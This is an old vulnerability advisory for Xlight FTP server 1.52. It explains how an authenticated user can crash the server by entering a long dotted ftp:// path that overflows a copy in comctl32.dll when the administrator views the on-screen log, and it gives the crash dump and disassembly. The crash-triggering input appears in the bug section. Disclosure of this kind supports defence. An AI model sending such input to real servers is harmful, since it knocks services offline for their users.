Remote crash Xlight ftp server 1.52
Application: Xlight ftp server
http://www.xlightftpd.com
Version: 1.52
Bug: Denial Of Service
Author: intuit
e-mail: intuit@xxxxxxxxxxxxx
web/forum: http://code.unixserver.at
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1. Description
2. The bug
3. The code
4. The fix
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^^^^^^^^^^^^^^^^
1. Description:
^^^^^^^^^^^^^^^^
Vendor's Description:
"Xlight ftp server is a powerful ftp server with very small program size. Using
its own unique algorithm, it could handle more users than other windows ftp
servers. Besides its high performance, xlight ftp server also has a lot of
unique features."
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^^^^^^^^^^^^^^^^
2. The bug:
^^^^^^^^^^^^^^^^
Server Option "Enable log to screen" must be enabled.
After authorization the user can enter such line:
-----------------------------------------------------------------------
ftp://user@xxxxxxxxx/............................................................................................................................................................................................................../*/
-----------------------------------------------------------------------
Now if the administrator will look a bookmark "ftp log" on main window of FTP
server, ftp server will crashed with error in comctl32.dll.
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^^^^^^^^^^^^^^^^
3. The code:
^^^^^^^^^^^^^^^^
The mistake occurs here:
-----------------------------------------------------------------------
AppName: xlight.exe AppVer: 0.0.0.0 ModName: comctl32.dll
ModVer: 5.82.2600.0 Offset: 0004c4f7
-----------------------------------------------------------------------
-----------------------------------------------------------------------
7738C4DB mov edx,dword ptr [esp+4]
7738C4DF push edi
7738C4E0 mov edi,dword ptr [esp+10h]
7738C4E4 test edi,edi
7738C4E6 mov eax,edx
7738C4E8 jle 7738C511
7738C4EA dec edi
7738C4EB test edi,edi
7738C4ED jle 7738C50B
7738C4EF push esi
7738C4F0 mov esi,dword ptr [esp+10h]
7738C4F4 mov cx,word ptr [esi]
7738C4F7 mov word ptr [edx],cx <<< here server crashed
7738C4FA inc edx
7738C4FB inc edx
7738C4FC inc esi
7738C4FD inc esi
7738C4FE test cx,cx
7738C501 je 7738C508
7738C503 dec edi
7738C504 test edi,edi
7738C506 jg 7738C4F4
7738C508 pop esi
7738C509 test edi,edi
7738C50B jne 7738C511
7738C50D and word ptr [edx],0
7738C511 pop edi
7738C512 ret 0Ch
-----------------------------------------------------------------------
/*Tested on: Win XP Build 2600, Service Pack: None*/
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^^^^^^^^^^^^^^^^
4. The fix:
^^^^^^^^^^^^^^^^
Not exist.
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